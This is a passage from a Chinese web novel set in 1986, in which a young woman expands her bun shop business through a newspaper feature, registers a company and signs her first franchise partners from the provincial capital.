母子俩自然是一阵推辞，不过林珊箱子都已经包好装严实了，他们也只好收下了。 林珊本来还想着这么多人去火车站的话，两辆三轮车应该够用。结果到了之后才发现，早早就已经有辆部队的212越野车，等在下面了。 两个战士把贺正岩和姜春荣的东西一一搬上车，林珊母女三人连出手帮忙的机会都没有。 本来还想着要把人送到火车站，这下估计在医院告别就行了。 姜春荣不舍地拉着林珊的手，对她说：“好好学习，有搞不明白的可以来问我。我的电话和地址你都有，记得要常联系啊。” “好，我会经常给您写信的。”林珊之前还以为她们这种工作非常保密，连在哪儿上班都不能知道。后来才明白已经过了那个时期了，现在可以写信也可以打电话，亲属甚至可以直接去找人。 “诶，你们都好好的。”姜春荣又对赵桂花和林红说了会儿话。 林珊叮嘱贺正岩：“你现在还没好透，回去之后一定要好好养伤。” 贺正岩点点头，“你们有什么事儿，记得跟我联系。” “好，谢谢贺大哥。下次你来安河，我保证一定请你吃顿好的！”林珊伸 出手想主动跟他握一握，好表达自己承诺。 贺正岩这两天跟惊弓之鸟似的，有意想跟林珊保持一定的距离，但是又不能表现得太过明显，所以整个人处于一种比较奇怪的状态。 林珊当然也察觉出来了，她还以为他因为什么事儿心情不太好，所以尽量不多言语，话基本都是姜春荣说的。 今天他们要走了，她们一家也能稍微歇歇脚了。希望贺正岩下回再来安河的时候，一切顺利，自家也能好好招待人家，病号饭吃了这么久，一天到晚绑在医院里，想想也是可怜。 贺正岩犹豫了一下，握住了林珊的手，然后就跟有电似的，一秒就松开了，也没回应她说邀请自己吃饭的话，只说：“你们好好照顾自己。” 林珊觉得他不太正常，不过还是点点头，冲他笑了笑：“你也保重。” 军绿色的212汽车，随即缓缓驶离医院，带走了一些人和事，又留下了一些事和人。 第62章 第62章 日报软广 次日初六, “爱国大肉包”所有门店正式开市营业。 林珊打算去铺子看一眼，结果刚踏出街口，就瞧见杨清明鬼鬼祟祟地藏在电线杆后头, 冲她猛挥手。 林珊暗道晦气，全当没看见他, 自顾自地往前走。 杨清明一溜小跑地跟上她，欲言又止的, “那个……听说你受伤了，我来看看你。” 林珊站住脚, 上下打量了杨清明一遍, 笑了，“以为我不知道你心里打得什么主意呢？怎么, 被林兰甩了, 又开始觉得我还行了？” 杨清明脸涨得通红, “没有的事儿！” 林珊懒得搭理他，“赶紧滚, 稍微有点儿自知之明, 就该知道永远别出现在我面前碍眼了。” 杨清明以为林珊还在生他的气, 跟林兰的事儿确实是他理亏，被她骂被她赶都是应该的。 其实他也是做了好一阵心理工作，才决定来找林珊的。毕竟林珊跟她妈都太厉害了，就算她心里有自己，对他肯定也少不了一通责骂。 但是这几天杨清明已经想清楚了, 还是林珊好, 不但越来越漂亮，人还长本事了，听说铺子都开了好几家了。虽然是个个体户, 但是她好歹找着自己的长处了。整个人看着跟以前完全不一样了，每次见面都容光焕发的。 学校那些对他有意思的姑娘，不是不好，但是跟林珊比起来，总觉得少点儿那个劲儿。而且，当初要不是林兰搅和，他现在肯定还跟林珊在一块儿呢！他以前真得是瞎了眼了，才会觉得林兰是个好姑娘！ “林珊，你骂我吧，以前都是我的错，是我鬼迷心窍，但是我现在知道错了，我认清了自己，也看透了别人，外面的世界再广阔，见到的人也都不如你，我知道你心里还有我，不然你也不会留着我送给你的那些东西。林珊，咱们重新处对象吧！” 林珊从未见过如此厚颜无耻之人，直接气笑了，“你算个什么东西啊，还喜欢你？老娘压根儿没喜欢过你一秒钟。留你那些破烂儿是为了当证据，敢再自作多情上门骚扰我，直接大棒子伺候！还不给我滚！” 杨清明惊愕，脸色红一阵白一阵，简直不敢相信林珊会这么对自己，“你、你怎么能说出这种话呢！” “哈。”林珊弯腰去捡路边的砖头，杨清明看清她要干什么之后，吓得撒腿就跑，“你你你！不可理喻！” 林珊砖头扔得飞快，直直朝他逃跑的方向奔了过去，然后完美命中后背。 “啊！”杨清明狼狈逃窜，嘴里还大喊：“你疯了吗？你怎么还是这么野蛮？太粗鲁了你！” 林珊冷哼一声，拍拍手上的灰，继续朝铺子前进。不要脸的东西，还想吃回头草，以后见一次打一次。要不是身上有伤没痊愈，肯定不止一砖头这么简单。 林珊家遇袭的事儿经过市里领导的慰问，闹得挺大。 林兰过年在家待着，自然也全都听说了。她暗恨那帮人怎么不出手再狠一点儿呢，要是能直接弄死那一家子，也算是替他们报仇了。 这下好了，不仅让林珊那死棒槌名声大噪，还不知道入了哪位有地位人的眼，居然会这么明显得来给那一家子撑场面。如果说那贱人以前不好对付，现在恐怕更不好对付了。至少在安河，应该是没人会冒这个险了。 林兰气了好几天。她本来就不爱回来，家里整天死气沉沉的，刘淑芬和林爱军自从林富贵没了之后，就颓废成了两个废人。原本还想着要报仇的林爱军，在看见包子铺的慰问大阵仗之后，也歇了要捅死林珊一家的心。 一是他不想死，二来他也明白过来活着受折磨，好像比死了更难受。 所以在床上躺了好几天的林爱军，突然跟打通了天灵盖儿似的，直接从床上崩了起来，又是洗漱换衣服，又是做饭的，还对着刘淑芬和林兰发誓：“妈，兰兰，你们看着吧，我以后一定会出人头地！到时候我让林珊那一家子跪在地上舔我的鞋！” “……”林兰不知道他想干什么。 刘淑芬也一阵懵。 林爱军拍着胸脯说：“我有一个哥们儿在粤城挣了钱，我想过完年也跟着他去。这回不闯出一片天来，我就死外边儿不回来了！” “瞎说什么胡话！”刘淑芬揍他。 林爱军红着眼眶说：“妈，我现在想开了。爸已经走了，咱再难受也没用了。他在那边儿也不希望咱整天这么过日子，我这回必须去那边儿闯闯，别人能行我为什么不行！” “好！”林兰高兴坏了，“哥，你这么想就对了！男子汉就是要有出息！只要奋斗就没有做不成的事儿！我支持你！” 刘淑芬虽然不舍得儿子，又害怕外头危险，但是两个孩子都这么想，她也只有同意的份儿了。而且儿子说得对，这么下去确实不行。不说报仇没希望，日子都快过不下去了。 林爱军下了决定闯出一片天地之后，行动力非常迅速，只用了两天时间，就准备好了要南下的所有东西。正月初九一到，他就跟哥们儿一起登上了开往粤城的火车。 林兰看着遥遥远去的火车，堵在胸口的闷气总算是消散了一些，不管二哥能不能成事儿，至少是迈出第一步了。她也把粤城的事儿都讲给他听了，做什么赚钱，要注意什么，都说得仔仔细细。实在遇到模棱两可的，一定一定要跟她商量。 林爱军本来听得还有些糊弄，直到林兰哭得稀里哗啦，说只有他这个大哥了之后，他陡然升起一种“原来我这个能干的妹妹也这么需要我”的使命感，决定以后遇事一定多跟她商量。 林兰解决了大半块儿心病，跟贺启明的感情又进展得非常顺利，开始觉得这日子也挺不错的。死棒槌一家就留在安河永生永世卖包子去吧，跟自己完全就不是一个档次的人。报仇的事情交给二哥，相信在她的指导下，他一定能出人头地。棒槌一家到时候就是跪在地上求饶也没用，必须全都消灭！ 林兰这边畅想着美好未来，林珊那边的年后计划也正式启动。 年前她就跟赵福谈过自己的想法了。赵福自然是举双手赞成，他的原话是“哪儿需要我我就去哪儿”。 林珊决定让他老婆王芳顶替店长的位置，所以这些天她一边去城南店里培训王芳，一边帮着他们物色房子。 赵福一家原本就计划年后到城里来租房子住，这样不用每天上下班跑回村，还能让孩子到城里来借读。赵大强和黄玉芬因为还得守着村里，给铺子种菜和收粮，所以没办法进城。两口子就把王芳的寡母给接来了，这样孩子能有个照应，他们也能接济一下老人。 林珊帮他们找的房子，就在城南店铺不到五百米的地方。租金一个月四块五，是个带院子的平房，非常适合一家人住。 解决完赵福一家的问题之后，她正式开启“加盟”业务。 原本林珊是打算年后开启大规模营销的，不过由于之前市里那一场大慰问之后，店里的名气就直接上了一个台阶，倒是省了她不少宣传的劲儿。也算是因祸得福。 林珊决定乘胜追击，她把“爱国大肉包”的发展史，遭遇 到的一系列事情写了下来，投稿给了安河日报。86年虽然还没有大肆鼓励个体户，但是这股发展的风早已经挡不住了，需要竖立一个标杆和榜样，用来指导其他个体户们。 林珊家的包子铺，不但被领导慰问过，还被他们表扬过，这事儿报社的人都知道。所以一收到林珊的投稿之后，一位叫王学斌编辑，立刻跑铺子来找人了。 王编辑做事认真，先是把铺子里里外外全看了一遍，又把领导那天来的详情问了一遍，跟着把自己改好的稿子递给林珊。 林珊看完之后，直接竖起了大拇指。专业的就是不一样，她写的那是商业简介，人家一润笔之后，简直成了歌颂劳动人民、歌颂社会的赞歌。 “您太厉害了！不愧是大编辑！” 王学斌笑道：“小林老板这么年轻就能把包子铺开成这样，才是真正的年轻有为。” 林珊礼貌地谦虚了几句，因为有意跟人家攀关系，所以从报社到编辑，她是夸了又夸，当然还不忘请对方吃了熟肉和面，包子也给他打包带走了。 王学斌自然开心，文章很快就见了报。 安河这年头的广告最多是拍个画报，然后到处贴一下。林珊这种软文性质的广告，根本没人见过，况且还登上了发行量第一的安河日报，版面又那么大，一时之间“爱国大肉包”在安河市，算是彻底火了起来。 城里家家户户都知道了“爱国大肉包”，连村里人进城说什么也要买个尝尝。各个门店每天都大排长龙，营业额直接翻倍。 赵桂花美滋滋地买了两份安河日报，一份裱在家里，一份时不时就拿出来看看，整天笑得合不拢嘴。 林珊本来想把“加盟”的事儿，也想办法编进去，但是之前写了几次发现实在太明显，就都删了。毕竟这年头还不鼓励个体户呢，登个日报打知名度的同时，还想兼顾招商，那就有点儿过了。 不过报纸上虽然不能写，但在各大门店最显眼的地方，都被贴上了她早早制作好的“加盟”画报。 ——想加入这个大家庭吗？ 第63章 第63章 诚招加盟商 画报很简单, 几家卡通“爱国大肉包”门店外大排长龙，一个穿着西装的小人儿站在路边羡慕地想：“要是我也能这么赚钱就好了！” 底下一行大字：“想开包子铺挣钱吗？想加入这个大家庭吗？” 详情请各位有意愿的实力之士，进店咨询。 简简单单的一幅画, 要素清晰明确。 林珊想了好几天才弄出来，她又不能直接把“加盟”条件写上去, 这样就太嚣张了。大家都还挣着一个月四十块钱工资的时候，她要是把加盟费写上, 那简直是明晃晃地标明“来抢我吧”。 画报贴出去之后，问得倒是不少, 不过都是因为好奇。林珊培训过各个铺子的店长, 教过他们怎么能把“加盟”这种商业方式，说得简单明了, 相信经过他们的宣传讲解之后, 大家很快会明白了。 除了公开招商, 林珊还要注册一个公司，把“爱国大肉包”正式公司化运营。 这年头注册公司可不容易, 需要跑的东西特别多, 没有关系根本办不成。好在林珊提前就跟工商局的黄丽娟混熟了, 在她的牵线之下，不但认识了主管注册公司的干事，还认识了税务局的同志。 所以办起事来，几乎都是事半功倍。 八六年注册公司也先租地方，林珊请郭有财帮忙, 找到了她家附近的一个小院儿作为办公地点。租赁合同一签, 更换一下之前的个体户经营执照，再去储蓄所开个账户，税务那边一登记, “林爱国食品有限公司”就正式注册成功了。 林珊找人做好了招牌，一块儿挂在大门外头，一块儿挂在正屋里。 成立了公司，员工就不用有事往她家里跑了，面试也有地方了。 正屋一共四间房加一个大厅，东面还有个独立的厨房，跟林珊家的房子基本一个构造。西里间摆上两张书桌，林珊和赵福就在这个地方办公。 东里间留给赵桂花和林红。其他的地方空着，等以后留给赵福慢慢招贤纳士。 成立了公司，一切开始全面正规化。林珊去市图书馆办了张图书证，借了一些会计方面的书拿回来给所有人学习。赵桂花见自己也要看，顿时懵了，“你老娘我都这个岁数了，也得上学？” 林珊鼓励她：“妈，你还年轻得很呢，再说你这么聪明，肯定一学就会。以后咱生意越做越大，你不帮我们把持着账目，大家怎么能放心呢？” 赵桂花被她夸得心情不错，而且想想也是，钱和账谁看着她都不放心，必须自己来。行吧，那她就受点儿罪，多学习一下吧。 赵福每天跟着林珊到处忙活，对自己这个小表妹早已经佩服的五体投地了。他每天就像一块儿海绵似的，吸收着各种各样的知识，过得可有劲儿了。 不过，看了这么多，他还是有些疑惑，“咱真得能靠这个‘加盟’挣到钱吗？” 林珊把赵福赵桂花和林红召集到一块儿，开启了商业小课堂。 加盟招商是企业发展的一种战略手段，也是企业发展的一个阶段。目的是为了快速回笼资金，迅速占领市场，同时锻炼和培养自己的团队，以便总结提炼出一种运作模式，为企业发展更好得助力。 现在的市场虽然很不成熟，但是没关系，一切都可以慢慢来。 包子铺她之所以只开四家直营店，是因为她知道自己要做的不是餐饮业，而是食品业。包子和卤肉这两项产品，将来都可以建立工业化生产模式，可以供加盟店进货，也可以发展零售。产品的种类，也会随着时间发展越加越多。 成规模体系的食品销售额，跟餐饮业的营业额，根本不是一个维度的东西。她上辈子是产品经理，虽然不是食品行业，但是商业的基本逻辑是不变的。 她心目中“爱国大肉包”的终极发展目标是速食品业巨头。后世虽然很多人都看不上速食，但是随着每年增长的数据来看，行业前景还是相当不错的。 当然了，这些放在此刻就想得有些远了，毕竟这年头连个冰箱彩电都还没有，步子垮太大容易扯着自己。 “我的老天爷啊。”赵桂花一脸震惊，“孩子，你可真敢想！还开厂子！你咋不说开飞机呢？” 林珊笑了，“将来学开飞机也不是不行。” “呲。”赵桂花嫌她吹牛，跟林红说：“快摇摇她，看睡醒没有。” 林红嘎嘎乐，“珊珊说过的话都办到了，我相信她。” 赵福也疯狂点头，“嗯！我也相信！”他被林珊的小课堂镇住了，脑子里都是对未来的畅想。要是他们真能开了厂子，到时候他可得背着手，好好在车间走上两圈儿了。听说当领导的都这么走，他也学学人家！ “妹子，我一定好好干！将来咱开厂子！开飞机！” “好！”林珊一拍桌子，一伸手，“来，祝咱们‘林爱国食品有限公司’越办越好！冲出亚洲走向世界！” “好！”赵福第一个捧场，林红第二个，赵桂花无奈地看了三人一圈儿，也把手落了上去。 “林爱国食品有限公司”成立后的第三天，一个半信半疑的中年男人走了进来。 许国昌今年四十二岁，省城人，是省卷烟厂跑大车的。家里有点儿门，手里也有点儿钱，路过安河想歇下来吃顿饭，发现有家包子铺人乌央乌央的。 他没精力去排队，去了旁边的削面馆去吃面。削面虽然味道也不错，但是他满鼻子都是隔壁的肉香，有包子的味儿，也有熟肉的味儿，一阵又一阵，搞得他越吃越馋。 想说走之前买两个带走尝尝，看看到底为什么这么香，结果刚踏进店门，就被门口那张画报吸引了注意力。 “想加入这个大家庭吗？” 这是招人啊？ 细细一看，好像又不是。居然是招开铺子的！呵，他也算走南闯北去过不少地方了，还没见过这种新鲜事儿。于是，他悄悄凑到一个领头模样的服务员面前，低声打听情况。 服务员服务态度特别好，跟其他饭店的人一点儿都不一样，笑着告诉他：“我们铺子在招加盟商。您加入我们‘爱国大肉包’的大家庭之后，我们会为您提供一切服务，无论是包子熟肉，还是培训工作人员，我们都会管，全程陪着您，直到您把店开起来为止。” 许国昌听得两眼放光，心里不敢相信天底下还有这种好事儿，“那怎么加入你们呢？恐怕得花不老少钱吧。” 服务员微笑作答：“您要是有兴趣的话，我给您个地址，您可以找我们老板谈谈。 许国昌虽然当时要了个地址，但是并没真想找过去。 他是在买好了包子，香得受不了吃了一个之后，才开始动了心思。他忍不住向周围人打听了一下这个“爱国大肉包”，了解到原来他们还上过安河日报，市里领导都去吃过，他这才掏出地址找了过去，想说既然这铺子挺靠谱的，那去打听一下情况也没事儿。 反正他又不是要加入他们，就当是听新鲜事儿了。 “林爱国食品有限公司”还挺好找的，许国昌看着这小院儿门口的牌匾，还有那里头干干净净的模样，顿时就觉得还挺正规。不过一个卖包子的，搞这么大阵仗，挣得回来吗？ 他找过去的时候，是一个青年接待的。 许国昌本来以为他是老板，想说这么年轻啊，结果对方一指门口，说这个刚骑车进来的小姑娘才是“林爱国食品有限公司”的老板。 许国昌惊得下巴都快掉下来了。 没见过这么漂亮的小姑娘，更没见过这么年轻的老板，心里渐渐觉得这伙人没准儿都是骗人的。 林珊理解对方的惊讶，简单把自家公司的情况介绍了一遍之后，微笑着说：“诚信是做生意的基础，您可以先去打听一下我们‘爱国大肉包’再来。我们经得起任何考察，同样的，对于想要加盟我们铺子的合作方，我们也有自己的筛选标准。” “你们还要选人？”许国昌更震惊了。 “是啊，不是随便一个人都能加盟我们‘爱国大肉包’的。必须全部符合条件，我们才会跟对方进行合作。”林珊倒了杯茶给许国昌，顺便了解了一下他是怎么找来的，这样方便她后续改进宣传方式。 许国昌一边喝着茶，一边把自己怎么摸到这儿的事情说了。 林珊点点头，抽出一份加盟说明书，递了过去，“您可以拿回去看一下，我们能提供的服务，以及加盟条件上面都写得非常详细。如果您看了之后有意愿，同时也符合条件的话，咱们再来谈合作。” 许国昌接过说明书翻开看了两页，心想这么多字儿啊，这么老厚一沓纸，光写这些东西就得费不少功夫。不过他是个大老粗，看了两眼就看不下去了，准备带回去给二弟看看，让他瞧瞧这里头都写了个啥。 “这个我拿回去看吧，我听你们铺子里的人说，加入你们之后，你们什么都会管？” 林珊：“是的，从店铺的选址建议，到产品原料，再到员工培训，我们会提供一系列的服务。” 许国昌听得有点儿心动，忍不住问：“你这铺子一个月能挣多少钱啊？” 林珊笑道：“每个铺子的情况都不一样，但基本三个月都会回本。” 三个月就能回本儿？！ 许国昌越听越心动，匆匆喝完杯子里的茶，就带着“加盟说明书”回省城找家里人商量了。 第64章 第64章 上门谈生意 许国昌走后, 赵福激动得不行。 他虽然很相信林珊，但是没想到居然这么快就有人会找上门。 林珊让他稍安勿躁，谈生意这种事情, 不像买包子，饿了想吃就直接买了。谈生意不你来我往, 慢慢增进了解，磨得彼此没脾气之后, 都不太能成事儿。 毕竟要花出去一大笔钱，换谁都得慎重考虑一下。 林珊列出的费用, 全部都是经过计算的。安河市的加盟费一年一千块钱, 可以单独选择加盟包子铺或者熟肉铺。如果两者都想要，加盟费则需要一千八百块。原料费——也就是卤汁和香料粉和葱油, 则按每斤肉和包子的用量计算。其他城市的加盟费用, 会根据当地的经济水平上涨或者降低。 林珊知道这个价格不算便宜, 没有一点经济实力的，根本开不起店。她虽然是在招加盟商, 但其实也等于是在选合作伙伴, 不能用低价策略迅速扩张, 这样质量容易参差不齐，最后再砸了自己的招牌。 她宁愿铺子少点儿，慢慢来，也绝对不胡乱开店。而且市场发展有它自己的规律，不可能跨过一些必经的初级阶段, 就直接快速飞跃到下一个阶段的。 许国昌回家后, 第一件事就是把爹妈和弟弟们都叫了过来。他一家子都在卷烟厂上班，经济实力不容小觑，二弟许国盛读书多, 在卷烟厂负责烟草技术，之前还去过苏联学习，所以他将安河的事儿说了之后，直接把说明书给了许国盛。 “喏，就是这个，你看看里头写的东西靠谱不。” 许国盛接过这厚厚册子，开始翻看里头的内容。本来他没觉得大哥说的这生意靠谱，不就卖个包子，卖点儿猪头肉，能好吃到什么地步。估计也就安河这种小地方的人没什么见识，才觉得好吃，市里居然还去捧场，真是够了。 结果等他打开看里面的内容一看，瞬间被吸引了注意力，翻看的速度不由得越来越快。新奇，严谨，不像是骗子，骗子可没有这么高的文化水平。 他从第一页认真读到最后，册子一阖，心里不禁感叹：卖个包子居然也能卖出这么多花哨来。 许老娘正好把许国昌带回来的包子也都热好了，“来，都过来尝尝。这包子闻着可真香，我还见过真多褶儿的。” 许国昌带回来的包子不多，但每种馅儿的都有。掰开之后大家一分，倒是每个味儿都能尝上。 许国盛吃了腐乳肉的，又尝了大肉包和纯肉的，最后吃了点儿酸菜和豆腐的。如果说一开始是吃肉的时候是惊叹，后来吃到豆腐包的时候，他已经说不出话了。 大哥说的没错，这家的包子确实好吃，省城生意最好的大庆包子铺，他吃过不少，跟这个压根儿不能比。都不像是一个种东西。 许国盛：“大哥，你不是说他们还有卤肉什么的，猪头肉没买点儿回来？” 许国昌叹气，“别提了，她家包子和熟肉的队是分开的，乌央乌央的全是人，我排完包子还得再重新排熟肉的队，歇了，咱没那个空儿。” 许国盛能想象出来那种热闹的场面，可见这个“爱国”家的熟肉，应该也非常好吃。 “‘加盟说明书’是挺新奇的，我目前是没看出什么问题来。包子和熟肉又确实好吃，听说她家在安河又挺出名的，应该也不至于为了这个加盟费砸自己的招牌。” 许国昌见二弟都这么说了，心下更觉得这个铺子能开，于是他问一直没说话的许老爹，“爹，你觉得怎么样？” 许老爹为人谨慎，“我再托人打听一下。” 许国昌：“好。那个小老板也说，让咱们多打听一下。而且不光咱打听，人家也得考察咱。等于是相互考察。” 许老爹笑了，“这年头花钱的，还得被考察？” 许国昌不明白，也觉得稀罕。 许国盛倒是理解，“越是好的饭店，往往越会爱惜自己的名声。人家能把包子铺做大，肯定有两把刷子，不是那么随便就能开的，对要加入的人有要求也是应该的。” 许国昌觉得有道理，不由得对“爱国大肉包”又多了一份信任。 许老爹想了想，最终下了结论，“我找人打听一下再说。” 众人点点头，全都赞成。 钱的事儿越谨慎越好，家里虽然有些积蓄，但也不是大风刮来的。他们不敢学那些大胆的去南边儿搞非法勾当，想来想去也只有开铺子赚钱了。全家人一直有这个想法，就是没想好要干啥。毕竟开铺子可不简单，他们在做生意这方面又是白脖子，要是这个‘加盟’不是骗人的，倒是非常适合他们家。 许老爹办事效率很高，不出一天功夫就把“爱国大肉包”的前世今生给挖了个底朝天。 他回到家里开小会，“……情况就是这么情况，老张说那林家母女三个是有本事的，人品没的说，街坊邻里就没有不称赞她们的。生意也确实非常好，不然也不会被坏人盯上。还说安河市还给她们颁发了一个什么‘个体户标兵’。这么看来应该是靠谱的。” 许国昌大喜：“我当时一进他们那个公司，就觉得挺正规的。别看小林老板岁数小，说起话办起事来那叫一个气派。我当时就觉得她不像卖包子的，反而像个文化人。” 许国盛说：“那咱不妨去趟安河，跟他们见了面详细谈谈。” 许老爹批准了，“你们哥仨一块儿去。” 一直沉默的老三许国强，惊喜地看向他爹。 许老爹叹气，家里不争气的就是老三，孩子都那么大了，还整天跟一帮狐朋狗友出去混，班儿也不好好上，厂里要不是看在他这把老脸的份上，早把人给开除了。 “出去听你大哥二哥的。” “好好好！我一定听大哥二哥的！”许国强高兴坏了。他不喜欢上班，私底下早动了做生意的想法，可是碍于他老爹掌权，自己手里没啥钱，老婆孩子们又都是吃家里的，所以只能蔫儿着。 这回要是包子铺能开开，他一定能大展拳脚，让所有人都刮目相看！ 林珊没想到许国昌这么快就回来的，而且还带着另外两个亲兄弟齐上阵。 许国盛和许国强虽然早听大哥说过，“爱国大肉包”的老板非常年轻，但是在看见林珊的那一刻，还是有些不敢相信。 长得像仙女儿似的小姑娘，才能当他们闺女的年纪，居然是她一手把包子铺给做起来的。这怎么能不让人震惊。 林珊已经习惯了这种反应，跟赵福一起给客人倒上茶水后，直接言归正传。 如果说刚才还对林珊存有怀疑的两兄弟，在听完她这一套关于“加盟”的详细说明之后，算是打消了疑虑。许国盛脑子里还蹦出两个字：专家。 虽然年纪小小的，但整个人看上去非常笃定和干练，跟他之前见过的那些苏联专家极其类似。真是天外有天，人外有人啊。 许国强是既惊叹又惭愧，他本来自我感觉挺好，觉得自己不是上班的料儿，是做生意的人。结果看到人家一个小姑娘就能搞起这么一大摊子事儿，他瞬间意识到自己也许也没那么能干。 林珊把省城加盟的条件说了一遍，报出的价位比安河高，“根据省城的消费能力估算，加盟费是一千两百元一年。包子铺和熟肉铺的加盟是单独分开的，如果两个品类都想做，加盟费则是两千元一年。” 三兄弟心里对这个价位是有底的，安河都要一千块，省城肯定更多。不过虽然价格在他们的承受范围之内，砍砍价看看能不能少一点儿，也是必须干的。 许国盛：“价格再稍微动一动吧，毕竟一下子掏这么多钱，还不能保证稳赚不赔，风险太大了。” 其实他话虽然这么说，心里却知道这包子和熟肉要是真开到省城去卖，必定大赚。 他们哥仨在来公司谈合作之前，已经把“爱国大肉包”的四个铺子全部都转遍了。就没有一个不是大排长龙的，就连不是饭点儿，都有不少人在买熟肉。而且他们有两家店熟肉铺和包子铺是分开的，生意居然比合在一块儿的还要好。 许国盛进熟肉铺看了一眼，发现种类真多啊，连素菜都这么多人买。他没排上队，但是光闻那味儿就已经想流口水了。 省城到安河开车就三个多小时，又在一个省，口味基本没什么差别。在这儿能卖开的，到省城肯定也能卖开，而且恐怕只会更好。 做生意没有不砍价的，林珊笑着回应道：“我们的加盟费都是经过精密计算的，按品牌价值来说，绝对物超所值，实在没有办法再下调了。而且跟您说句实话，我们也不是靠加盟费盈利的，我们一个店的营业额一个月都不止这些。但是为了品牌的声誉和专业度，我们不得不用这种方式进行筛选。与其说是加盟，不如说是大家一起合作，把‘爱国大肉包’办得更大更好。” 许国盛笑了，没想过到这小姑娘这么会说话，明明是他们花钱，他们自己承担风险，结果成了大家一块儿把“大肉包”办好了，不过这都不要紧，小姑娘有句话说得很好，为了品牌的声誉和专业度，必须进行筛选。越严格，对他们越好，不然满大街都是“爱国大肉包”的话，他可就不干了。 第65章 第65章 去省城啦 许国盛：“加盟费动不了, 那就给我们点儿别的实惠吧，咱怎么说也是第一个加盟的。” 林珊点头应了，“这个您放心, 从选址开始，一直到开店后的一个月, 我们全程都会落地服务，免费为您提供一切所需要的指导。您毕竟是我们第一个加盟商, 省城的第一枪，这个项目对我们来说同样至关重要。” 许国盛知道这是便宜不了一点儿了, 小姑娘说的内容也确实很吸引人, 全程都在一块儿帮着他们开店，对于他们这种没有开铺子经验的人来说, 那吸引力简直是要命的。 所以他还没开口, 许国强就忍不住问道：“你的意思是你们会一直跟着我们, 直到我们铺子开张后的一个月再走？” 林珊微笑颔首：“是，全程落地服务。” 许国强一副石头落地的架势, 许国昌也忍不住开心地笑了, 许国盛见两人都这样了, 也确实没什么能争取的了，索性直接说：“那好，既然咱们都是干脆利落的人，这个店我们就加盟了，熟肉和包子都要。” 林珊起立伸手, “合作愉快。” “合作愉快。”许家三兄弟挨个儿跟她握了握。 林珊随即让赵福拿出早已经写好的合同, 送上去，又替三人续了杯热茶。 许国盛看到付款方式的时候，有些惊讶：“不用一次交齐？” 林珊解释道：“因为刚开店需要的花费很多, 房租装修，设备原材料，还有员工工资之类的一大笔开销，所以为了缓解合作伙伴的压力，第一年的加盟费可以分期付款，最长十个月付清，零利息。” 许国昌和许国强心中一喜，这样他们的压力确实会小不少。 许国盛到这会儿是真的开始相信林珊的诚意了，能替合作伙伴着想的公司，差不到哪儿去。 林珊写的这份加盟合同是两年期限。所以她就没有标注加盟费会在以后随着市价上涨，毕竟这会儿的人根本不会知道以后市场一开放，物价会飞到什么地步。现在也没必要写出来吓唬人。 而且后世很多加盟店做起来之后，觉得自己学会了一切，就会放弃加盟，转而自己开干。有的生意还不错，有的就彻底死了。不过这都不打紧，发展是个过程，来来去去很正常。 许家三兄弟确实比林珊想象中利索多了，在看过合同确定没有问题之后，当下就签字按了手印。钱直接就付了五百块。 林珊赶紧写了一份收据签字盖章，开始跟他们商讨具体开店的事宜。 省城她这辈子没去过，但是上辈子却不陌生，大概知道哪个区的重点是什么。不过年代相隔太远，所以很多东西还是存在不小的误差。 双方商讨了一会儿之后，最终定下 五天后正式开干。 谈成了合作皆大欢喜，本来林珊想请人家吃顿饭，但是三兄弟还要赶着点儿回去，所以只好改在下次了。 赵桂花开心地在屋子里来回打转，直呼：“居然谈成了！这就谈成了！” 赵福也高兴得不行，他也没想到对方这么痛快，省城人果然有钱啊！“妹子，你也太厉害了！别说他们了，要是我有钱，立刻也全都给你了！” 林珊被他逗乐了，不忘提点道：“哥，这回是我全程牵头，以后开店的事儿可就都交给你了，有信心吗？” 赵福摸摸后脑勺，“开铺子的信心我是有的，就是不知道省城啥样，我没出过安河，怕出去了像个傻子似的不好使。 ” 林珊非常理解他，别说赵福了，就是后世自己考上大学，第一次要一个人出远门的时候，心里也是既期待又紧张。 她安慰道：“没事儿，就是路宽了点儿，人多了点儿，其他都一样。” 赵福被林珊这种没什么大不了的语气感染到了，顿时充满了干劲儿，“妹子你放心！我一定拼了命地干！咱‘爱国大肉包’的省城第一枪，决定打得响响儿的！”珊妹子也没出过远门，她都不害怕，他一个大老爷们儿有什么可怕的！ 林珊冲他比了个大拇指，接下来把自己的计划说了。 这次省城之行，她预备再带上三个人，赵福、林红和李娜。林红负责培训后厨，李娜负责培训服务员。赵桂花留在家里，收收钱，记记账。 由于林红还管着各个店的底料工作，所以这也暴露出一个问题，最核心的人员还是不够用啊。 他们这次去省城，最少得待上一个月，林红要是一走，安河这些店的供应就会是个问题，林珊就算让她现在开始培训王芳，也来不及了，更何况王芳才刚接了店长的工作。 所以林珊想来想去，只能让林红先留在安河忙着，这样她能一边教王芳配料，一边备着省城需要的货。城南店那边仍然需要王芳负责，让赵桂花过去帮衬一段时间，问题应该不大。 所有人对她的安排没有任何意见，大家随即纷纷开始准备工作。 林珊还要再改良一下送到省城的底料。安河这边每天要用的卤料水和葱油，都是直接放桶里拉过去的。给省城供货肯定不能这样。又沉又不方便，还不卫生。冬天倒还能凑活，夏天搞不好送到省城就馊臭了。 林珊决定把所有大料都磨成粉，肉馅儿一类，卤料一类，葱油底料一类，一共分三大类。然后测试出来不同的兑水或加油的比例，以及熬制时间，方便后续门店人员进行统一化操作。 林珊和林红这几天没干别的了，一直窝在家里的厨房，试了又试，做了又做，总算找对了比例。林红味觉嗅觉非常灵敏，不经她点头，那就是味道不行。虽然要进行商业化，但是真材实料又美味的产品，始终是第一位的。 五天时间转瞬即逝，一到点儿，林珊就带着赵福和李娜登上了去省城的火车。 李娜爸妈不放心，交代了半天才依依不舍地离开。赵桂花也不舍得，她怕孩子们没出过远门儿，在外头出个什么事儿都没有能照应的人。 林珊安慰了她半天，才跟赵福和李娜登上了火车。 这年头的火车，远比林珊想象中还要震撼。挤，臭，还乱得人头疼。几乎人人都扛着大包小包，还有那拖家带口，带着鸡鸭鹅的。都跟催命似的往上挤，生怕没有地方站。 林珊买的是三张硬座。她想着他们带的东西不少，大家又都是第一次坐火车，别太受罪了。谁知好不容易挤上车了上，就发现不仅坐位被占了，连座位下面的空地方也都被人塞满了东西，连个下脚的地方都没有。 好在林珊和赵福都不是吃了亏不吭气儿的主儿，直接把占位的喊了起来，东西一把挪出去，把自家的包裹放了进去。 被喊起来的倒也没怎么反抗，毕竟是他们理亏，只小声嘟囔了两句就算了。 这日头本来刚春儿没多久，结果这一通折腾，可给几个人热得够呛。 李娜原先知道要坐火车出去，兴奋得一晚上都没睡好，这会儿却垂头丧气地说：“我以后再也不坐火车了。” 林珊笑了，“汽车比这更挤，还更不安全。” 